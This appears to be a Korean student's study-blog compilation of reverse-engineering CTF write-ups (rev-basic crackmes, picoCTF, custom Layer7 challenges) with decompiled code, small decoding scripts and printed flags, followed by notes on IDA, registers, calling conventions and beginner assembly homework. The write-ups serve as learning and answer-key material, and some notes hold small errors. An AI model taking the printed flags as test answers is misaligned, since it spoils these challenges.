문제 파일을 다운받고, 디컴파일 해보면 .. 다수의 함수를 실행한다. 문제 이름이 fake 이듯, 이 중에서 아무런 역할도 하지 않는 함수를 찾아내는 것이 중요한 문제다. 일단 변수 ptr를 채워주는 함수 sub_140B는 가짜일리 없으니 확인해봤다. 확인 결과 다음과 같이 변수 v3를 선언하고 선언하고 if문에서는 변수 *ptr 에 따라 만약 참이라면 ptr[1]에 값을 대입한다. for문은 23번 반복 실행되며 *ptr[i]에 v3[i]를 넣고 *ptr의 인덱스에 0을 넣어서 문자열 끝을 표시하고 ptr을 반환한다. 뒤에 if문에서 '참'이 아니라면 ptr의 동적할당을 해제하고 '거짓'을 반환한다. v2와 v3에 연산값을 넣고 있지만 주요한 변수 ptr 값이 바뀌진 않기 때문에 넘기겠다. 밑에 함수 sub_1189도 확인해보면 해당 함수를 실행했을 때도 마찬가지로 주요한 변화는 없다. 해당 함수들을 확인해보면 다음과 같은 프로그램을 구상하여 플래그를 출력할 수 있다.

#include <stdio.h>
>
int main() {
    unsigned char data[23] = {
        0x4A, 0x5B, 0x5B, 0x5F, 0x56, 0x68, 0x54, 0x59,
        0x50, 0x44, 0x06, 0x52, 0x45, 0x04, 0x41, 0x68,
        0x65, 0x7A, 0x74, 0x4C, 0x64, 0x73, 0x7F
    };
>
    for (int i = 0; i < 23 / 2; i++) {
        unsigned char tmp = data[i];
        data[i] = data[22 - i];
        data[22 - i] = tmp;
    }
>
    for (int i = 0; i + 1 < 23; i += 2) {
        unsigned char tmp = data[i];
        data[i] = data[i + 1];
        data[i + 1] = tmp;
    }
>
    for (int i = 0; i < 23; i++) {
        data[i] ^= 55;
    }
>
    printf("%s\n", data);
    return 0;
}

첫 번째 for문에서 값을 뒤집고, 마지막 for문에서 Xor 연산을 실행한다.

해당 프로그램을 실행시키면 플래그가 출력된다.

IDA란?

• Hex-Rays SA에서 개발하여 판매중인 상용 디스어셈블러
• 기계어 코드로부터 어셈블리어 코드로 생성
• 다양한 프로세서 및 파일 유형을 지원
• 해석 기능과 자체적으로 지원하는 스크립팅 언어

  문제

  

  풀이

  문제 파일에 함수 main을 디컴파일 해보면 이 코드를 위에서부터 해석해보면

1. 변수 v6에 랜덤한 값을 할당한다.
2. 사용자에게 입력 받은 문자열을 변수 v7에 저장한다.
3. v6와 v7을 XOR 연산하여 8자리 16진수를 변수 s에 저장한다.
4. 변수 s에 들어있는 문자열을 뒤집어 변수 s1에 저장한다.
5. 만약 변수 s1에 들어있는 값이 'a0b4c1d7'과 동일하다면 플래그를 출력한다. 이 순서를 반대로 생각하여 우리가 변수 v7에 입력해야할 값을 찾아보겠다.
   먼저 반대로 생각해보면
6. 'a0b4c1d7'을 뒤집는다. 즉 변수 s1이 '7d1c4b0a'가 되어야한다.
7. 16잔수에서 정수로 v6과 v7을 XOR 연산한다. 따라서 2095886858이라는 키 값이 나온다.
8. V7 = v6 ^ 2095886858 이므로 이 식을 계산하는 프로그램을 통해 입력해야할 값을 추측해보겠다.

풀이

문제 파일에 함수 main을 디컴파일 해보면 if 조건문에서 참이 반환될 시에 Correct를 출력한다. 조건은 strcmp를 이용해 "Compar3_the_str1ng"과 동일한 문자열이 입력될 경우, 참을 반환한다.

과제

rev-basic-1

풀이

문제 파일에 함수 main을 디컴파일 해보면 함수 sub_140001000을 들어가보면

_BOOL8 __fastcall sub_140001000(_BYTE *a1)
{
  if ( *a1 != 67 )
    return 0;
  if ( a1[1] != 111 )
    return 0;
  if ( a1[2] != 109 )
    return 0;
  if ( a1[3] != 112 )
    return 0;
  if ( a1[4] != 97 )
    return 0;
  if ( a1[5] != 114 )
    return 0;
  if ( a1[6] != 51 )
    return 0;
  if ( a1[7] != 95 )
    return 0;
  if ( a1[8] != 116 )
    return 0;
  if ( a1[9] != 104 )
    return 0;
  if ( a1[10] != 101 )
    return 0;
  if ( a1[11] != 95 )
    return 0;
  if ( a1[12] != 99 )
    return 0;
  if ( a1[13] != 104 )
    return 0;
  if ( a1[14] != 52 )
    return 0;
  if ( a1[15] != 114 )
    return 0;
  if ( a1[16] != 97 )
    return 0;
  if ( a1[17] != 99 )
    return 0;
  if ( a1[18] != 116 )
    return 0;
  if ( a1[19] != 51 )
    return 0;
  if ( a1[20] == 114 )
    return a1[21] == 0;
  return 0;
}

모든 아스키코드 값이 만족할 경우 참이 반화되기 때문에 이를 역으로 출력하는 코드를 작성하면 플래그 값을 얻을 수 있다.

풀이코드 없이 조건 아스키코드 값들을 문자열로 변환한 후 제출했다.

rev-basic-2

풀이

배열 aC와 비교하여 똑같은 값인지 파악한다. aC에 들어있는 값을은 다음과 같다. 이 문자열과 일치할 경우 Correct를 출력한다.

.data:0000000140003000 aC              db 'C',0   
.data:0000000140003002                 align 4
.data:0000000140003004 aO              db 'o',0
.data:0000000140003006                 align 8
.data:0000000140003008 aM              db 'm',0
.data:000000014000300A                 align 4
.data:000000014000300C aP              db 'p',0
.data:000000014000300E                 align 10h
.data:0000000140003010 a4              db '4',0
.data:0000000140003012                 align 4
.data:0000000140003014 aR              db 'r',0
.data:0000000140003016                 align 8
.data:0000000140003018 aE              db 'e',0
.data:000000014000301A                 align 4
.data:000000014000301C                 db '_',0
.data:000000014000301E                 align 20h
.data:0000000140003020 aT              db 't',0
.data:0000000140003022                 align 4
.data:0000000140003024                 db 'h',0
.data:0000000140003026                 align 8
.data:0000000140003028 aE_0            db 'e',0
.data:000000014000302A                 align 4
.data:000000014000302C                 db '_',0
.data:000000014000302E                 align 10h
.data:0000000140003030 aA              db 'a',0
.data:0000000140003032                 align 4
.data:0000000140003034 aR_0            db 'r',0
.data:0000000140003036                 align 8
.data:0000000140003038 aR_1            db 'r',0
.data:000000014000303A                 align 4
.data:000000014000303C a4_0            db '4',0
.data:000000014000303E                 align 20h
.data:0000000140003040 aY              db 'y',0

풀이코드 없이 문자열을 조합해서 제출헀다.

rev-basic-3

풀이

XOR 연산을 통해 'A ^ B = C 라면 C ^ B = A 와 C ^ A = B 가 성립' 이라는 조건을 가지고 byte_140003000의 값과 입력한 a1의 값을 계산한다.

.data:0000000140003000 byte_140003000  db 49h, 60h, 67h, 74h, 63h, 67h, 42h, 66h, 80h, 78h, 2 dup(69h)
.data:0000000140003000                                         ; DATA XREF: sub_140001000+28↑o
.data:000000014000300C                 db 7Bh, 99h, 6Dh, 88h, 68h, 94h, 9Fh, 8Dh, 4Dh, 0A5h, 9Dh
.data:0000000140003017                 db 45h, 8 dup(0)

풀이 코드

nums = [0x49, 0x60, 0x67, 0x74, 0x63, 0x67, 0x42, 0x66, 0x80, 0x78, 0x69, 0x69, 0x7B, 0x99, 0x6D, 0x88, 0x68, 0x94, 0x9F, 0x8D, 0x4D, 0xA5, 0x9D, 0x45]
for i in range(len(nums)) :
    tmp1 = nums[i] - (2 * i)
    tmp2 = tmp1 ^ i
    print(chr(tmp2), end = '')

각 값에서 (2 * i)만큼 뺀다. 결과에 다시 i를 XOR 연산한다. 결과를 chr()로 문자로 변환해서 출력한다.

rev-basic-4

풀이

(16 * a1[i]) | (a1[i] >> 4) == byte_140003000[i]

를 만족하는 a1을 찾아야 한다.

(a`1[i] << 4) | (a1[i] >> 4) == byte_140003000[i]

16을 곱하는 것은 4비트 왼쪽 시프트하는 것과 같으므로 위와 같이 변경한다. 따라서 해당 프로그램에서 byte_140003000[i]의 앞뒤 위치를 바꾼 수가 a1[i]이 된다.

.data:0000000140003000 byte_140003000  db 24h, 27h, 13h, 2 dup(0C6h), 13h, 16h, 0E6h, 47h, 0F5h
.data:0000000140003000                                         ; DATA XREF: sub_140001000+50↑o
.data:000000014000300A                 db 26h, 96h, 47h, 0F5h, 46h, 27h, 13h, 2 dup(26h), 0C6h
.data:0000000140003014                 db 56h, 0F5h, 2 dup(0C3h), 0F5h, 2 dup(0E3h), 5 dup(0)

따라서 다음의 연산을 다음의 byte_140003000 값과 진행하면 플래그 값을 찾을 수 있다.

풀이 코드

tmp = [0x24, 0x27, 0x13, 0xC6, 0xC6, 0x13, 0x16, 0xE6, 0x47, 0xF5, 0x26, 0x96, 0x47, 0xF5, 0x46, 0x27, 0x13, 0x26, 0x26, 0xC6, 0x56, 0xF5, 0xC3, 0xC3, 0xF5, 0xE3, 0xE3]
for i in range(len(tmp)) :
    print(chr((tmp[i]<<4 | tmp[i]>>4) % (16 * 16)), end='')

이 코드는 tmp 배열에 있는 각각의 16진수 값을 다음의 방식으로 처리한다. tmp[i] << 4: 값을 왼쪽으로 4비트 시프트 (곱하기 16과 같음) tmp[i] >> 4: 값을 오른쪽으로 4비트 시프트 (상위 4비트 추출) |: 위의 두 값을 비트 OR 연산으로 합친다. % 256: 결과를 256으로 나눈 나머지를 구해 0~255 범위로 제한한다.

rev-basic-5

풀이

함수 sub_140001000의 if절을 확인해보면

a1[i + 1] + a1[i] == byte_140003000[i]

를 만족해야 Correct가 출력됨을 확인 할 수 있다. 따라서 sub_140003000[i]의 값과 a1+i의 값을 역연산하여 플래그 값을 구해야한다. 풀이 코드

j = 0
for j in range(33, 127) :
    i = 0
    n = 0
    res = []
    res.append(j)
    for i in range(len(nums)) :
        res.append(nums[i] - res[i])
    for n in range(len(res)) :
        print(chr(res[n]), end='')
    print()
    // 출력했을때 뭐가 많이 나오는데 .. 플래그 같은 것을 때려넣었다..

rev-basic-6

풀이

함수 sub_140001000의 if절을 확인해보면

byte_140003020[a1[i]] == byte_140003000[i]

를 만족해야함을 확인할 수 있다.

byte_140003020[j] == byte_140003000[i]

먼저 이를 만족하는 j를 찾고 a1[i]의 값을 설정해주면 된다.

풀이 코드

nums = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]
nums2 = [0x00, 0x4D, 0x51, 0x50, 0xEF, 0xFB, 0xC3, 0xCF, 0x92, 0x45, 0x4D, 0xCF, 0xF5, 0x04, 0x40, 0x50, 0x43, 0x63]
>
i = 0
j = 0
res = [0] * 0x12
>
for i in range(len(nums2)) :
    for j in range(len(nums)) :
        if nums2[i] == nums[j] :
            res[i] = j
            print(chr(j), end='')
            break

각 값을 인덱스로 보정 후 XOR하여 복호화하였다.

Custom 1

풀이

특정 64비트 정수 배열(v10)에 저장된 암호화된 바이트들을, HIBYTE(v5) = 66 (== 0x42, 즉 'B')를 이용해 XOR 연산으로 복호화한 뒤, 사용자가 입력한 플래그와 비교한다.

v10[0] = 0x31397530273B230ELL;
v10[1] = 0x292B2E1D27302336LL;
v10[2] = 0x2B2A213623351D27LL;
v10[3] = 0x31302336311D252CLL;

입력된 값과 다음에 v10 배열들을 XOR 연산하는 것이다.

Layer7{stare_like_watching_stars} 정확하게는 Layer7{stare_like_watching_stars 가 계산된다...

Custom 2

풀이

check2에서 참이 반환되어야 하는 것을 알 수 있다. 입력[i]를 i % 8 + 1 비트 만큼 왼쪽으로 회전시킨 뒤, 5를 더한 값이 v3[i]와 같아야 한다. 따라서 이를 바탕으로 입력과 v3[i] 배열을 비교하여 조건에 따라 비트 연산한다. 그 후 최종값을 산출한다.

Layer7{TWF5YmUgaXQncyB0aGUgbG92aW5nIGluIHlvdXIgZXllcw==}

Custom 3

[PicoCTF] file-run 1

풀이

문제 파일에 함수 main을 디컴파일 해보면 단순히 변수 flag의 값을 출력하는 프로그램인 것 같았다. 따라서 변수 flag에 들어있는 값을 확인해보았다.

그 결과로 다음과 같은 플래그 값을 알 수 있었다.

picoCTF{U51N6_Y0Ur_F1r57_F113_9bc52b6b}

[PicoCTF] file-run 2

풀이

문제 파일에 함수 main을 디컴파일 해보면

printf("The flag is : %s", flag);

다음과 같은 출력 명령어를 주었으니, 변수 flag에 어떤 값이 들어있는지 확인해보았다. 확인해보니 다음과 같은 플래그 값이 들어있었다.

picoCTF{F1r57_4rgum3n7_96f2195f}

Merong

풀이

문제 파일에 함수 main을 디컴파일 해보면 입력받은 s1의 값과 변수 aEae41779bdf799의 값을 비교했을 때, 똑같으면 참, 다르다면 거짓을 반환하는 조건문이다.

따라서 변수 aEae41779bdf799 안에 들어있는 문자열을 조사해 보았다. 그랬더니 다음과 같은 문자열이 입력되었을 때, '참'이 되는 것을 알 수 있었다.

함수 main을 디컴파일 했을 때

printf("flag: FLAG{%S}", s1);

다음과 같은 출력 명령문을 보았으니 플래그 형식은 FLAG{} 일 것이다.

따라서 제출할 플래그 값은 다음과 같다.

FLAG{eae41779bdf7990ade62d10c8f550dc1056f6a9f1b48a87d561f4ef49df17220}

함수 호출 규약 (Calling Convention)

• 호출자와 피호출자 간에 데이터(파라미터)를 전달할 때의 규칙
• 함수 호출 전후에 레지스터나 스택을 다룰 방법을 정해 놓은 약속

  함수 호출 규약의 종류

  CPU 아키텍처와 컴파일러 종류에 따라 호출 규약 역시 바뀜 EX) x64(32bit) / x64-86 (64bit)
  x64(32bit) 레지스터를 통해 피호출자의 인자를 전달하기에는 레지스터의 수가 적어 스택을 이용하는 함수 호출 규약 사용

  x86 호출 규약

  Cdecl

• 인자를 오른쪽에서 왼쪽 순서로 스택에 push
• 함수 호출 이후, Caller(호출자)가 스택 정리
• 스택은 낮은 주소에서 높은 주소 방향으로 push
• 함수 호출 규약을 지정하지 않으면 cdecl을 사용

  Cdecl Stack Frame

  

  요점

  메모리 구조상 스택은 높은 주소에서 낮은 주소로 올라가며, cdecl은 caller가 스택을 정리한다. 리버싱에서 함수 인자나 지역 변수를 찾을 때 스택 프레임 구조와 오프셋이 핵심이라고 한다. 스택에서는 RET adress가 push되므로, BOF같은 공격이 가능하다.

  Stdcall

• 인자 전달은 오른쪽에서 왼쪽으로 전달하고 피호출자
• WinAPI에서 사용하고 함수가 끝나면 스택을 정리

  Cdecl과 Stdcall 비교

                cdecl                    stdcall
  인자 정리        호출자(caller)            피호출자(callee)
  인자 전달 순서    오른쪽 > 왼쪽            오른쪽 > 왼쪽
  가변 인자 지원    가능                        불가능
  함수명 맹글링        그대로(func)                _func@8(인자 크기 포함)
  스택 안정성        낮음(호출자 실수 가능)    높음(callee가 항상 정리)
  사용 예            일반 C 함수, GCC 환경        Windows 환경

  Fastcall

• 성능 향상을 위해 일부 인자를 레지스터를 통해 전달
• Microsoft 컴파일러 / Windows 성능이 민감한 코드에 사용
• 앞의 2~3개 인자는 레지스터에 전달하고 나머지는 스택에 전달
• 피호출자이며 ECX, EDX를 사용, 성능 향상이 목적

  Fastcall 특징

  인자 전달 순서                     오른쪽 > 왼쪽
  첫 번째, 두 번째 인자             ECX, EDX 레지스터
  나머지 인자                         스택에 저장
  스택 정리                         callee (피호출자)
  함수명 맹글링                     _@함수명@인자크기 (MSVC기준)
  반환값                            EAX

  x86-64-SYSV

• Linux, MacOs 등에서 사용하는 호출 규약

  x86-6 System V

  리눅스 및 유닉스 계열 OS에서 널리 사용되는 함수 호출 규약

  함수 반환값        RAX Register 저장
  스택 정렬        16 Byte 단위로 정렬
  !! 함수 호출 전에 스택 포인터 RSP는 항상 16의 배수 !!

  x84-64 Prologue

• 함수 시작 직후 실행, 스택 프레임을 설정

  함수가 실행되기 전

1. Srack Frame 설정
2. Register 백업
3. 지역 변수 공간 확보 -> 함수 내 메모리 공간을 준비

   push ebp/rbp        이전 함수의 베이스 포인터 값을 Stack에 저장
   >
   mov  ebp,esp        현재 stack 포인터(esp)를 base 포인터(ebp)로 복사
                    새로운 스택 프레임 기준 설정
   sub     esp,XXX        지역 변수 공간 확보를 위해 stack 포인터를 감소

   x84-64 Epilogue

• 함수 종료 직전 실행, 스택 상태 복구 및 호출자에게 제어 반환

  함수가 종료 후

1. Srack Frame 해제 -> 함수 호출 전 상태 복구
2. Regist 및 stack 상태 복원 후, Return Address로 복구

   mov  esp/ebp        스택 포인터를 Base Pointer 위치로 복구
   pop  ebp            이전 함수의 Base Pointer 값 복원
   ret                    호출한 함수로 복귀

   아키텍처 (Architecture)

   아키텍처란?

• CPU가 명령어를 처리하는 방식을 나타냄
• 하드웨어 시스템의 전반적인 구조와 동작을 나타냄

  x64 Register

  범용 레지스터

  데이터 연산을 위해 사용되는 레지스터

  EAX     산술 연산 및 논리 연산 수행 + 함수의 반환값 저장
  EBX     메모리 주소 저장
  ECX     반복문 사용 시 카운터로 사용
  EDX     EAX와 같이 사용 + 큰 수의 곱셈과 나눗셈 연산
  EDI     복사할 때 목적지 주소 저장
  ESI     데이터를 조작하거나 복사할 때 데이터의 주소 저장
  ESP     메모리 스택의 끝 지점 주소 포인터
  EBP         메모리 스택의 첫 지점 주소 포인터
  EIP        다음에 실행해야 할 명령어의 주소 포인터

  세그먼트 레지스터

  아키텍처 메모리를 세그먼트 단위로 접근할 때 사용되는 특수한 레지스터

  CS         기계 명령 포함 코드 세그먼트의 시작 주소를 가리킴
  DS         프로그램에 정의된 데이터 영역의 시작 주소를 가리킴
  SS         연산 결과 등을 임시로 저장 / 삭제할 때 사용
        스택 영역의 시작부분을 가리킴
  ES         추가로 사용된 데이터 세그먼트의 주소를 가리킴
  FS         여분 레지스터
  GS         여분 레지스터

  플래그 레지스터

  CPU가 연산을 수행한 후 결과의 상태를 저장하는 특수한 레지스터

  -> 조건문 등에 사용되어짐

  ZF         연산결과가 0일 경우 참
  CF         부호 없는 숫자의 연산 결과가 비트 범위를 넘으면 참
  AF         연산 결과 하위 4 bit에서 비트 범위를 넘으면 참
  OF         부호 있는 숫자의 연산 결과가 비트 범위를 넘으면 참
  SF         연산 결과가 음수면 참
  PF         연산 결과에서 1로 된 비트의 수가 짝수면 참
  DF         문자열 조작에서 참이면 레지스터 값 감소, 거짓이면 증가
  TF         디버깅에 사용

  명령어 포인터 레지스터

  rip     CPU가 실행시킬 코드를 가리키며 8byte의 크기를 지님

Caller / Callee

• Caller : 호출자. 함수를 호출
• Callee : 피호출자. 호출을 당하는 함수

  EX) C언어 프로그래밍 도중 함수를 호출해야할 때

  #include <stdio.h>
  int (함수명)(매개변수) {     <- 피호출자 (Callee)

return 0; }

int main() {

(함수명)(매개변수); <- 호출자 (Caller)

return 0; }

>
# 과제 1
## 1 - 2557
### "Hello World!"를 출력하세요.
### C
>>

#include <stdio.h>

int main(){ printf("Hello World!"); return 0; }

>
### asm
>>

section .data str db "Hello World!" >> section .text global _start >> _start: >> mov rax, 1 <- 시스템 콜 번호 1 (sys_write) mov rdi, 1 mov rsi, str mov rdx, 13 syscall <- syscall 실행 >> mov rax, 60 mov rdi, 0 syscall

>
### section .data
- db (define byte) : 바이트 단위로 데이터를 정의
- str에 "Hello World!" 문자열 삽입
### _start
- rdi = 1: stdout
- rsi = num: 출력할 문자열
- rdx = 13: 출력할 문자열 길이
- write 시스템 콜을 사용해서 "Hello World!"을 출력
시스템 콜 번호 1은 sys_write

>
## 2 - 10171
### 고양이를 출력하세요.
### C
>>

#include <stdio.h>

int main(void) { printf("\ /\\n"); printf(" ) ( ')\n"); printf("( / )\n"); printf(" \(__)|\n"); return 0; }

>
### asm
>>

section .data cat db "\ /", 10,
" ) ( ')", 10,
"( / )", 10,
" (__)|", 10 catlen equ $ - catmsg

section .text global _start

_start: mov rax, 1 mov rdi, 1
mov rsi, cat mov rdx, catlen syscall

; exit(0)
mov     rax, 60        
xor     rdi, rdi        
syscall

>
### section .data
- db (define byte) : 바이트 단위로 데이터를 정의
- cat에 출력하고자하는 모양 삽입
### _start
- rdi = 1: stdout
- rdx = catlen : catlen에 저장된 값을 출력할 크기로 저장
- write 시스템 콜을 사용해서 cat에 담긴 모양 출력

>
## 3 - 1000
### 두 수를 입력받고 더한 값을 출력하세요.
### C
>>

#include <stdio.h> int main(){ int a,b; scanf("%d %d",&a,&b); >> printf("%d",a+b); >> return 0; }

>
### asm
>>

section .data in db "%d %d", 0 out db "%d", 10, 0

section .bss x resd 1 y resd 1

section .text extern input extern print global start

start: lea rsi, [x] lea rdx, [y] mov rdi, in xor eax, eax call input

mov eax, [x]
add eax, [y]

mov esi, eax
mov rdi, out
xor eax, eax
call print

mov eax, 0
ret

>
### section .data
- in = scanf에 전달할 포맷 문자열
- out = printf에 전달할 포맷 문자열
### section .bss
- 각각 int(4바이트) 공간을 확보
### _start
- x+y 결과가 eax에 저장
- input는 scanf를 대신 호출하는 외부 함수
- print는 printf를 대신 호출하는 외부 함수
- main() 함수가 return 0; 과 같은 구조

>
## 4 - 1001
### 두 수를 입력받고 뺀 값을 출력하세요.
### C
>>

#include <stdio.h> int main(){ int a,b; scanf("%d %d",&a,&b); >> printf("%d",a-b); >> return 0; }

>
### asm
>>

section .data in db "%d %d", 0 out db "%d", 10, 0

section .bss x resd 1 y resd 1

section .text extern input extern print global start

start: lea rsi, [x] lea rdx, [y] mov rdi, in xor eax, eax call input

mov eax, [x]
sub eax, [y]

mov esi, eax
mov rdi, out
xor eax, eax
call print

mov eax, 0
ret

>
### section .data
- in = scanf에 전달할 포맷 문자열
- out = printf에 전달할 포맷 문자열
### section .bss
- 각각 int(4바이트) 공간을 확보
### _start
- x-y 결과가 eax에 저장
- input는 scanf를 대신 호출하는 외부 함수
- print는 printf를 대신 호출하는 외부 함수
- main() 함수가 return 0; 과 같은 구조

>
## 5 - 10998
### 두 수를 입력받고 곱한 값을 출력하세요.
### C
>>

#include <stdio.h> int main(){ int a,b; scanf("%d %d",&a,&b); >> printf("%d",a-b); >> return 0; }

>
### asm
>>

section .data in db "%d %d", 0 out db "%d", 10, 0

section .bss x resd 1 y resd 1

section .text extern input extern print global start

start: lea rsi, [x] lea rdx, [y] mov rdi, in xor eax, eax call input

mov eax, [x]
imul eax, [y]

mov esi, eax
mov rdi, out
xor eax, eax
call print

mov eax, 0
ret

>
### section .data
- in = scanf에 전달할 포맷 문자열
- out = printf에 전달할 포맷 문자열
### section .bss
- 각각 int(4바이트) 공간을 확보
### _start
- x*y 결과가 eax에 저장
- input는 scanf를 대신 호출하는 외부 함수
- print는 printf를 대신 호출하는 외부 함수
- main() 함수가 return 0; 과 같은 구조

>
# 과제 2
![](https://velog.velcdn.com/images/shin_yy/post/894fd5ba-872f-48a3-ab91-b06e976bbf4c/image.png)

리버싱

리버싱이란?

리버스 엔지니어링(Reverse Engineering)

Reverse - 뒤집다 Engineering - 공학

• 역공학이라고 해석 가능
• 완성된 프로그램을 해체하고 분석하여 구조와 기능, 디자인을 파악하는 기술을 의미
• 리버싱은 각종 악성코드나 불법 프로그램에 대응을 위해 사용
• 구조, 기능, 동작 등을 역으로 추적하여 분석하고 원리를 이해하며 부족한 부분을 보완하며 새로운 기능 등을 추가하는 작업

  리버싱 방법

• 정적 분석
• 파일의 겉모습을 관찰*하여 분석하는 방법 파일을 열지 않고 파일 종류, 헤더, 디스어셈블리어, 디컴파일러로 분석 디스어셈블러를 이용해서 내부코드와 구조를 확인하는 방법

• 동적 분석
• 파일을 실행*하며 코드 흐름과 메모리 상태 등으로 분석하는 방법 레지스트리, 네트워크 등을 관찰하면서 프로그램의 행위를 분석 디버거를 이용하여 프로그램 내부 구조와 동작 원리를 분석

  리버싱을 배우기 위해 필요한 지식

• 컴퓨터 구조
• ISA
• Byte Ordering
• Encoding/Decoding
• 운영 체제
• 메모리 구조, 컴파일, 인터프리터

어셈블리어 (Assembler)

구조

section.data

• 데이터 영역
• 초기값이 있는 데이터를 저장 (문자열, 상수 등)

  section.bss

• 비어 있는 데이터 영역
• 초기값 없이 공간만 필요한 변수를 저장 (입력 버퍼 등)

  section.text

• 코드 영역
• 명령어가 들어가는 부분 (기계어로 번역될 명령어/코드)

  section.text

  global_start;

• 링커에게 시작할 위치를 알려줌

  _start:

• 실행할 명령어 작성
• 프로그램이 실행될 때 가장 먼저 실행되는 지점
• C언어의 main() 함수와 비슷하지만, 운영체제가 직접 호출하는 주소

아키텍처 (Architecture)

아키텍처란?

• CPU가 명령어를 처리하는 방식을 나타냄
• 하드웨어 시스템의 전반적인 구조와 동작을 나타냄

  주요 아키텍처 비교

            x86            x86-64        ARM                ARM64
  주소 크기    32bit        64bit        32bit            64bit
  레지스터     EAX,EBX        RAX,RBX        R0~R15            X0~x30
  엔디안        Little        Little        Little / Big    Little (일반적으로)

  x86-64는 x86 아키텍처와 호환되는 64bit 아키텍처
• 32 / 64bit 아키텍처 -> 32 / 64bit는 CPU가 한 번에 처리 할 수 있는 데이터의 크기

  WORD

• 하나의 기계어 명령어, 연산을 통해 저장된 장치에서 컴퓨터 프로세서로 옮겨 놓을 수 있는 데이터 단위
• WORD의 길이는 컴퓨터의 데이터 버스 크기와 같음
• 한번의 작업으로 저장장치에서 프로세서 레지스터로 데이터를 이동시킴

• CPU가 한 번에 처리할 수 있는 데이터의 크기

x64 Register

레지스터의 종류

범용 레지스터

데이터 연산을 위해 사용되는 레지스터

• EAX 산술 연산 및 논리 연산 수행 + 함수의 반환값 저장
• EBX 메모리 주소 저장
• ECX 반복문 사용 시 카운터로 사용
• EDX EAX와 같이 사용 + 큰 수의 곱셈과 나눗셈 연산
• EDI 복사할 때 목적지 주소 저장
• ESI 데이터를 조작하거나 복사할 때 데이터의 주소 저장
• ESP 메모리 스택의 끝 지점 주소 포인터
• EBP 메모리 스택의 첫 지점 주소 포인터
• EIP 다음에 실행해야 할 명령어의 주소 포인터

  세그먼트 레지스터

  아키텍처 메모리를 세그먼트 단위로 접근할 때 사용되는 특수한 레지스터

• CS 기계 명령 포함 코드 세그먼트의 시작 주소를 가리킴
• DS 프로그램에 정의된 데이터 영역의 시작 주소를 가리킴
• SS 연산 결과 등을 임시로 저장 또는 삭제할 때 사용하는 스택 영역의 시작부분을 가리킴
• ES 추가로 사용된 데이터 세그먼트의 주소를 가리킴
• FS 여분 레지스터
• GS 여분 레지스터

  플래그 레지스터

  CPU가 연산을 수행한 후 결과의 상태를 저장하는 특수한 레지스터

  -> 조건문 등에 사용되어짐

  ZF 연산결과가 0일 경우 참 CF 부호 없는 숫자의 연산 결과가 비트 범위를 넘으면 참 AF 연산 결과 하위 4 bit에서 비트 범위를 넘으면 참 OF 부호 있는 숫자의 연산 결과가 비트 범위를 넘으면 참 SF 연산 결과가 음수면 참 PF 연산 결과에서 1로 된 비트의 수가 짝수면 참 DF 문자열 조작에서 참이면 레지스터 값 감소, 거짓이면 증가 TF 디버깅에 사용

  명령어 포인터 레지스터

• 프로그램이 기계어로 이루어져 있을 때, CPU가 실행시킬 코드를 가리킴
• 명령어 레지스터는 rip이며, 8byte의 크기를 지님

함수 호출 규약 (Calling Convention)

• 함수 호출 시 호출자와 피호출자 간에 어떻게 데이터를 주고받을지에 대한 규칙
• 함수에 인자를 전달 방법 / 반환값 저장 위치 / 함수 호출 전후에 레지스터나 스택을 다룰 방법에 대해 정해 놓은 약속

  x86 호출 규약

• Cdecl 인자 전달은 오른쪽에서 왼쪽으로 전달하고 호출자 기본 C언어 규약, 여러 인자를 지원하며 인자 함수를 지원
• Stdcall 인자 전달은 오른쪽에서 왼쪽으로 전달하고 피호출자 WinAPI에서 사용하고 함수가 끝나면 스택을 정리
• Fastcall 앞의 2~3개 인자는 레지스터에 전달하고 나머지는 스택에 전달하고 피호출자이며 ECX, EDX를 사용하고 성능 향상이 목적이다.
